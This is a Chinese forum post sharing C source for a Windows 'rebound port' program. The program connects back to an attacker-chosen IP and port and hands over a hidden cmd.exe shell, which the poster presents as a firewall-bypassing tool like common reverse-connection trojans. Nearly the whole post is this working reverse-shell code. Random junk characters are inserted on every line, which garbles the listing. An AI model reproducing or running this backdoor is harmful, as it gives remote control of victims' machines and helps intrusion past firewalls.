社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6002阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ":_II[FPY  
0_eqO'"  
/* ============================== ~L"$(^/  
Rebound port in Windows NT $'%GB $.  
By wind,2006/7 ] \M+ju  
===============================*/ @uH!n~QV  
#include qx'0(q2Ii(  
#include c7jmzo  
>;^/B R=  
#pragma comment(lib,"wsock32.lib") a8f#q]TyQ  
%\v8 FCb  
void OutputShell(); ?0_<u4  
SOCKET sClient; V D~5]TQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HJ]xZ83pC  
+bS\iw+  
void main(int argc,char **argv)  <@<bX  
{ ? Bpnnwx  
WSADATA stWsaData; a$ "nNmD?  
int nRet; .P$m?p#  
SOCKADDR_IN stSaiClient,stSaiServer; 4 kjfYf@A  
1>OlBp  
if(argc != 3) E=N$JM  
{ @QQ%09*  
printf("Useage:\n\rRebound DestIP DestPort\n"); g#=<;X2  
return; >I|8yqbfm  
} st;iGg  
dMH_:jb  
WSAStartup(MAKEWORD(2,2),&stWsaData); GLn=*Dh#  
r*+~(83k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3)y1q>CQf  
9h amxi  
stSaiClient.sin_family = AF_INET; q1T)H2S  
stSaiClient.sin_port = htons(0); I&{T 4.B:U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s`jlE|jtN  
n.&7lg^X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {+WBi(=W  
{ w6i2>nu_O  
printf("Bind Socket Failed!\n"); pM?~AYWb  
return; oI;ho6y)  
} |n/;x$Cb  
E{<#h9=>  
stSaiServer.sin_family = AF_INET; t,?, T~#9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2%sZaM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (dq_ ,LI  
o]q~sJVk6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  u]Ku96!  
{ *S ag  
printf("Connect Error!"); F:!6B b C  
return; u%~'+=  
} ) 2Ei<  
OutputShell();  y:RW:D&  
} F qH))2  
'F d+1 3  
void OutputShell() `eM ZhY o  
{ 0f6o0@  
char szBuff[1024]; d}\]!x3t  
SECURITY_ATTRIBUTES stSecurityAttributes; 8Yh'/,o=L#  
OSVERSIONINFO stOsversionInfo; [)Nt;|U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J<0{3pZY  
STARTUPINFO stStartupInfo; ]E-/}Ysz  
char *szShell; ^OKm (  
PROCESS_INFORMATION stProcessInformation; f~NS{gL*  
unsigned long lBytesRead; w7Yu} JY^  
KL'1)G"OH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QPVi& *8_  
N4vcd=uG#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EB}B75)x  
stSecurityAttributes.lpSecurityDescriptor = 0; h$&Tg_/'#D  
stSecurityAttributes.bInheritHandle = TRUE; CP J21^  
@Chl>s  
`;j1H<L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uO]D=Z\S(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +MX~1RU+  
zR<{z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )#m{"rk[x,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I?'*vAW<  
stStartupInfo.wShowWindow = SW_HIDE; 8\rca:cF   
stStartupInfo.hStdInput = hReadPipe; #yochxF_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,D;8~l lM  
\}$|Uo$O  
GetVersionEx(&stOsversionInfo); dPEDsG0$a  
5p#0K@`n/  
switch(stOsversionInfo.dwPlatformId) ESCN/ocV  
{ q`1tUd4G  
case 1: #kv9$  
szShell = "command.com"; 8g0 #WV  
break; 6TW<,SM  
default: ] `$6=) _X  
szShell = "cmd.exe"; >%tP"x{  
break; kH eD(Ea  
} j2D!=PK;  
sE?%;uBb  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |HycBTN#E  
OkciL]  
send(sClient,szMsg,77,0); jlBsm'M<m  
while(1) !igPyhi,hl  
{ @&m [w'tn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D,cD]tB2  
if(lBytesRead) v@{y}  
{ rN&fFI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^aB;Oo  
send(sClient,szBuff,lBytesRead,0); g$uiwqNA%  
} wO,qFY  
else +S~ u,=  
{ { 4j<X5V  
lBytesRead=recv(sClient,szBuff,1024,0); :zU4K=kR  
if(lBytesRead<=0) break; ~!({U nt+'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8WytvwB}  
} 2U[/"JL  
} I0F [Z\U  
~T@E")uR  
return; Yb5U^OjyJ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五